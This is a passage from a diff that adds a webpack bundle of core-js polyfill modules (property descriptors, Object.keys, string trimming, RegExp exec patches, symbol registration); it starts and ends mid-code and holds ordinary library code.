__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? gOPD : function getOwnPropertyDescriptor(O, P) { + O = toIObject(O); + P = toPrimitive(P, true); + if (IE8_DOM_DEFINE) try { + return gOPD(O, P); + } catch (e) { /* empty */ } + if (has(O, P)) return createDesc(!pIE.f.call(O, P), O[P]); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gopn-ext.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/_object-gopn-ext.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var gOPN = __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js").f; +var toString = {}.toString; + +var windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames + ? Object.getOwnPropertyNames(window) : []; + +var getWindowNames = function (it) { + try { + return gOPN(it); + } catch (e) { + return windowNames.slice(); + } +}; + +module.exports.f = function getOwnPropertyNames(it) { + return windowNames && toString.call(it) == '[object Window]' ? getWindowNames(it) : gOPN(toIObject(it)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gopn.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_object-gopn.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O) +var $keys = __webpack_require__(/*! ./_object-keys-internal */ "./node_modules/core-js/modules/_object-keys-internal.js"); +var hiddenKeys = __webpack_require__(/*! ./_enum-bug-keys */ "./node_modules/core-js/modules/_enum-bug-keys.js").concat('length', 'prototype'); + +exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O) { + return $keys(O, hiddenKeys); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gops.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_object-gops.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +exports.f = Object.getOwnPropertySymbols; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gpo.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-gpo.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O) +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var IE_PROTO = __webpack_require__(/*! ./_shared-key */ "./node_modules/core-js/modules/_shared-key.js")('IE_PROTO'); +var ObjectProto = Object.prototype; + +module.exports = Object.getPrototypeOf || function (O) { + O = toObject(O); + if (has(O, IE_PROTO)) return O[IE_PROTO]; + if (typeof O.constructor == 'function' && O instanceof O.constructor) { + return O.constructor.prototype; + } return O instanceof Object ? ObjectProto : null; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-keys-internal.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/_object-keys-internal.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var arrayIndexOf = __webpack_require__(/*! ./_array-includes */ "./node_modules/core-js/modules/_array-includes.js")(false); +var IE_PROTO = __webpack_require__(/*! ./_shared-key */ "./node_modules/core-js/modules/_shared-key.js")('IE_PROTO'); + +module.exports = function (object, names) { + var O = toIObject(object); + var i = 0; + var result = []; + var key; + for (key in O) if (key != IE_PROTO) has(O, key) && result.push(key); + // Don't enum bug & hidden keys + while (names.length > i) if (has(O, key = names[i++])) { + ~arrayIndexOf(result, key) || result.push(key); + } + return result; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-keys.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_object-keys.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.14 / 15.2.3.14 Object.keys(O) +var $keys = __webpack_require__(/*! ./_object-keys-internal */ "./node_modules/core-js/modules/_object-keys-internal.js"); +var enumBugKeys = __webpack_require__(/*! ./_enum-bug-keys */ "./node_modules/core-js/modules/_enum-bug-keys.js"); + +module.exports = Object.keys || function keys(O) { + return $keys(O, enumBugKeys); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-pie.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-pie.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +exports.f = {}.propertyIsEnumerable; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-sap.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-sap.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// most Object methods by ES6 should accept primitives +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +module.exports = function (KEY, exec) { + var fn = (core.Object || {})[KEY] || Object[KEY]; + var exp = {}; + exp[KEY] = exec(fn); + $export($export.S + $export.F * fails(function () { fn(1); }), 'Object', exp); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_own-keys.js": +/*!***************************************************!*\ + !*** ./node_modules/core-js/modules/_own-keys.js ***! + \***************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// all object keys, includes non-enumerable and symbols +var gOPN = __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js"); +var gOPS = __webpack_require__(/*! ./_object-gops */ "./node_modules/core-js/modules/_object-gops.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var Reflect = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").Reflect; +module.exports = Reflect && Reflect.ownKeys || function ownKeys(it) { + var keys = gOPN.f(anObject(it)); + var getSymbols = gOPS.f; + return getSymbols ? keys.concat(getSymbols(it)) : keys; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_parse-float.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_parse-float.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $parseFloat = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").parseFloat; +var $trim = __webpack_require__(/*! ./_string-trim */ "./node_modules/core-js/modules/_string-trim.js").trim; + +module.exports = 1 / $parseFloat(__webpack_require__(/*! ./_string-ws */ "./node_modules/core-js/modules/_string-ws.js") + '-0') !== -Infinity ? function parseFloat(str) { + var string = $trim(String(str), 3); + var result = $parseFloat(string); + return result === 0 && string.charAt(0) == '-' ? -0 : result; +} : $parseFloat; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_parse-int.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_parse-int.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $parseInt = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").parseInt; +var $trim = __webpack_require__(/*! ./_string-trim */ "./node_modules/core-js/modules/_string-trim.js").trim; +var ws = __webpack_require__(/*! ./_string-ws */ "./node_modules/core-js/modules/_string-ws.js"); +var hex = /^[-+]?0[xX]/; + +module.exports = $parseInt(ws + '08') !== 8 || $parseInt(ws + '0x16') !== 22 ? function parseInt(str, radix) { + var string = $trim(String(str), 3); + return $parseInt(string, (radix >>> 0) || (hex.test(string) ? 16 : 10)); +} : $parseInt; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_property-desc.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_property-desc.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (bitmap, value) { + return { + enumerable: !(bitmap & 1), + configurable: !(bitmap & 2), + writable: !(bitmap & 4), + value: value + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_redefine-all.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/_redefine-all.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +module.exports = function (target, src, safe) { + for (var key in src) redefine(target, key, src[key], safe); + return target; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_redefine.js": +/*!***************************************************!*\ + !*** ./node_modules/core-js/modules/_redefine.js ***! + \***************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var SRC = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js")('src'); +var $toString = __webpack_require__(/*! ./_function-to-string */ "./node_modules/core-js/modules/_function-to-string.js"); +var TO_STRING = 'toString'; +var TPL = ('' + $toString).split(TO_STRING); + +__webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js").inspectSource = function (it) { + return $toString.call(it); +}; + +(module.exports = function (O, key, val, safe) { + var isFunction = typeof val == 'function'; + if (isFunction) has(val, 'name') || hide(val, 'name', key); + if (O[key] === val) return; + if (isFunction) has(val, SRC) || hide(val, SRC, O[key] ? '' + O[key] : TPL.join(String(key))); + if (O === global) { + O[key] = val; + } else if (!safe) { + delete O[key]; + hide(O, key, val); + } else if (O[key]) { + O[key] = val; + } else { + hide(O, key, val); + } +// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative +})(Function.prototype, TO_STRING, function toString() { + return typeof this == 'function' && this[SRC] || $toString.call(this); +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_regexp-exec-abstract.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/_regexp-exec-abstract.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var classof = __webpack_require__(/*! ./_classof */ "./node_modules/core-js/modules/_classof.js"); +var builtinExec = RegExp.prototype.exec; + + // `RegExpExec` abstract operation +// https://tc39.github.io/ecma262/#sec-regexpexec +module.exports = function (R, S) { + var exec = R.exec; + if (typeof exec === 'function') { + var result = exec.call(R, S); + if (typeof result !== 'object') { + throw new TypeError('RegExp exec method returned something other than an Object or null'); + } + return result; + } + if (classof(R) !== 'RegExp') { + throw new TypeError('RegExp#exec called on incompatible receiver'); + } + return builtinExec.call(R, S); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_regexp-exec.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_regexp-exec.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var regexpFlags = __webpack_require__(/*! ./_flags */ "./node_modules/core-js/modules/_flags.js"); + +var nativeExec = RegExp.prototype.exec; +// This always refers to the native implementation, because the +// String#replace polyfill uses ./fix-regexp-well-known-symbol-logic.js, +// which loads this file before patching the method. +var nativeReplace = String.prototype.replace; + +var patchedExec = nativeExec; + +var LAST_INDEX = 'lastIndex'; + +var UPDATES_LAST_INDEX_WRONG = (function () { + var re1 = /a/, + re2 = /b*/g; + nativeExec.call(re1, 'a'); + nativeExec.call(re2, 'a'); + return re1[LAST_INDEX] !== 0 || re2[LAST_INDEX] !== 0; +})(); + +// nonparticipating capturing group, copied from es5-shim's String#split patch. +var NPCG_INCLUDED = /()??/.exec('')[1] !== undefined; + +var PATCH = UPDATES_LAST_INDEX_WRONG || NPCG_INCLUDED; + +if (PATCH) { + patchedExec = function exec(str) { + var re = this; + var lastIndex, reCopy, match, i; + + if (NPCG_INCLUDED) { + reCopy = new RegExp('^' + re.source + '$(?!\\s)', regexpFlags.call(re)); + } + if (UPDATES_LAST_INDEX_WRONG) lastIndex = re[LAST_INDEX]; + + match = nativeExec.call(re, str); + + if (UPDATES_LAST_INDEX_WRONG && match) { + re[LAST_INDEX] = re.global ? match.index + match[0].length : lastIndex; + } + if (NPCG_INCLUDED && match && match.length > 1) { + // Fix browsers whose `exec` methods don't consistently return `undefined` + // for NPCG, like IE8. NOTE: This doesn' work for /(.?)?/ + // eslint-disable-next-line no-loop-func + nativeReplace.call(match[0], reCopy, function () { + for (i = 1; i < arguments.length - 2; i++) { + if (arguments[i] === undefined) match[i] = undefined; + } + }); + } + + return match; + }; +} + +module.exports = patchedExec; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_same-value.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_same-value.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 7.2.9 SameValue(x, y) +module.exports = Object.is || function is(x, y) { + // eslint-disable-next-line no-self-compare + return x === y ? x !== 0 || 1 / x === 1 / y : x != x && y != y; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_set-proto.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_set-proto.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// Works with __proto__ only. Old v8 can't work with null proto objects. +/* eslint-disable no-proto */ +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var check = function (O, proto) { + anObject(O); + if (!isObject(proto) && proto !== null) throw TypeError(proto + ": can't set as prototype!"); +}; +module.exports = { + set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line + function (test, buggy, set) { + try { + set = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js")(Function.call, __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js").f(Object.prototype, '__proto__').set, 2); + set(test, []); + buggy = !(test instanceof Array); + } catch (e) { buggy = true; } + return function setPrototypeOf(O, proto) { + check(O, proto); + if (buggy) O.__proto__ = proto; + else set(O, proto); + return O; + }; + }({}, false) : undefined), + check: check +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_set-species.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_set-species.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var SPECIES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('species'); + +module.exports = function (KEY) { + var C = global[KEY]; + if (DESCRIPTORS && C && !C[SPECIES]) dP.f(C, SPECIES, { + configurable: true, + get: function () { return this; } + }); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_set-to-string-tag.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_set-to-string-tag.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var def = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var TAG = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toStringTag'); + +module.exports = function (it, tag, stat) { + if (it && !has(it = stat ? it : it.prototype, TAG)) def(it, TAG, { configurable: true, value: tag }); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_shared-key.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_shared-key.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var shared = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js")('keys'); +var uid = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js"); +module.exports = function (key) { + return shared[key] || (shared[key] = uid(key)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_shared.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_shared.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js"); +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var SHARED = '__core-js_shared__'; +var store = global[SHARED] || (global[SHARED] = {}); + +(module.exports = function (key, value) { + return store[key] || (store[key] = value !== undefined ? value : {}); +})('versions', []).push({ + version: core.version, + mode: __webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js") ? 'pure' : 'global', + copyright: '© 2019 Denis Pushkarev (zloirock.ru)' +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_species-constructor.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/_species-constructor.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.3.20 SpeciesConstructor(O, defaultConstructor) +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var SPECIES = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('species'); +module.exports = function (O, D) { + var C = anObject(O).constructor; + var S; + return C === undefined || (S = anObject(C)[SPECIES]) == undefined ? D : aFunction(S); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_strict-method.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_strict-method.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); + +module.exports = function (method, arg) { + return !!method && fails(function () { + // eslint-disable-next-line no-useless-call + arg ? method.call(null, function () { /* empty */ }, 1) : method.call(null); + }); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-at.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_string-at.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +// true -> String#at +// false -> String#codePointAt +module.exports = function (TO_STRING) { + return function (that, pos) { + var s = String(defined(that)); + var i = toInteger(pos); + var l = s.length; + var a, b; + if (i < 0 || i >= l) return TO_STRING ? '' : undefined; + a = s.charCodeAt(i); + return a < 0xd800 || a > 0xdbff || i + 1 === l || (b = s.charCodeAt(i + 1)) < 0xdc00 || b > 0xdfff + ? TO_STRING ? s.charAt(i) : a + : TO_STRING ? s.slice(i, i + 2) : (a - 0xd800 << 10) + (b - 0xdc00) + 0x10000; + }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-context.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/_string-context.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// helper for String#{startsWith, endsWith, includes} +var isRegExp = __webpack_require__(/*! ./_is-regexp */ "./node_modules/core-js/modules/_is-regexp.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); + +module.exports = function (that, searchString, NAME) { + if (isRegExp(searchString)) throw TypeError('String#' + NAME + " doesn't accept regex!"); + return String(defined(that)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-html.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_string-html.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +var quot = /"/g; +// B.2.3.2.1 CreateHTML(string, tag, attribute, value) +var createHTML = function (string, tag, attribute, value) { + var S = String(defined(string)); + var p1 = '<' + tag; + if (attribute !== '') p1 += ' ' + attribute + '="' + String(value).replace(quot, '"') + '"'; + return p1 + '>' + S + ''; +}; +module.exports = function (NAME, exec) { + var O = {}; + O[NAME] = exec(createHTML); + $export($export.P + $export.F * fails(function () { + var test = ''[NAME]('"'); + return test !== test.toLowerCase() || test.split('"').length > 3; + }), 'String', O); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-repeat.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_string-repeat.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); + +module.exports = function repeat(count) { + var str = String(defined(this)); + var res = ''; + var n = toInteger(count); + if (n < 0 || n == Infinity) throw RangeError("Count can't be negative"); + for (;n > 0; (n >>>= 1) && (str += str)) if (n & 1) res += str; + return res; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-trim.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_string-trim.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var spaces = __webpack_require__(/*! ./_string-ws */ "./node_modules/core-js/modules/_string-ws.js"); +var space = '[' + spaces + ']'; +var non = '\u200b\u0085'; +var ltrim = RegExp('^' + space + space + '*'); +var rtrim = RegExp(space + space + '*$'); + +var exporter = function (KEY, exec, ALIAS) { + var exp = {}; + var FORCE = fails(function () { + return !!spaces[KEY]() || non[KEY]() != non; + }); + var fn = exp[KEY] = FORCE ? exec(trim) : spaces[KEY]; + if (ALIAS) exp[ALIAS] = fn; + $export($export.P + $export.F * FORCE, 'String', exp); +}; + +// 1 -> String#trimLeft +// 2 -> String#trimRight +// 3 -> String#trim +var trim = exporter.trim = function (string, TYPE) { + string = String(defined(string)); + if (TYPE & 1) string = string.replace(ltrim, ''); + if (TYPE & 2) string = string.replace(rtrim, ''); + return string; +}; + +module.exports = exporter; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_string-ws.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_string-ws.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = '\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003' + + '\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF'; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-absolute-index.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/_to-absolute-index.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var max = Math.max; +var min = Math.min; +module.exports = function (index, length) { + index = toInteger(index); + return index < 0 ? max(index + length, 0) : min(index, length); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-integer.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_to-integer.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 7.1.4 ToInteger +var ceil = Math.ceil; +var floor = Math.floor; +module.exports = function (it) { + return isNaN(it = +it) ? 0 : (it > 0 ? floor : ceil)(it); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-iobject.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_to-iobject.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// to indexed object, toObject with fallback for non-array-like ES3 strings +var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js"); +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +module.exports = function (it) { + return IObject(defined(it)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-length.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_to-length.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.1.15 ToLength +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var min = Math.min; +module.exports = function (it) { + return it > 0 ? min(toInteger(it), 0x1fffffffffffff) : 0; // pow(2, 53) - 1 == 9007199254740991 +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-object.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_to-object.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.1.13 ToObject(argument) +var defined = __webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +module.exports = function (it) { + return Object(defined(it)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_to-primitive.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/_to-primitive.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.1.1 ToPrimitive(input [, PreferredType]) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +// instead of the ES6 spec version, we didn't implement @@toPrimitive case +// and the second argument - flag - preferred type is a string +module.exports = function (it, S) { + if (!isObject(it)) return it; + var fn, val; + if (S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; + if (typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it))) return val; + if (!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it))) return val; + throw TypeError("Can't convert object to primitive value"); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_uid.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_uid.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var id = 0; +var px = Math.random(); +module.exports = function (key) { + return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + px).toString(36)); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_validate-collection.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/_validate-collection.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +module.exports = function (it, TYPE) { + if (!isObject(it) || it._t !== TYPE) throw TypeError('Incompatible receiver, ' + TYPE + ' required!'); + return it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_wks-define.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_wks-define.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var core = __webpack_require__(/*! ./_core */ "./node_modules/core-js/modules/_core.js"); +var LIBRARY = __webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js"); +var wksExt = __webpack_require__(/*! ./_wks-ext */ "./node_modules/core-js/modules/_wks-ext.js"); +var defineProperty = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +module.exports = function (name) { + var $Symbol = core.Symbol || (core.Symbol = LIBRARY ? {} : global.Symbol || {}); + if (name.charAt(0) != '_' && !(name in $Symbol)) defineProperty($Symbol, name, { value: wksExt.f(name) }); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_wks-ext.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_wks-ext.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +exports.f = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js"); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_wks.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_wks.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var store = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js")('wks'); +var uid = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js"); +var Symbol = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").Symbol; +var USE_SYMBOL = typeof Symbol == 'function'; + +var $exports = module.exports = function (name) { + return store[name] || (store[name] = + USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : 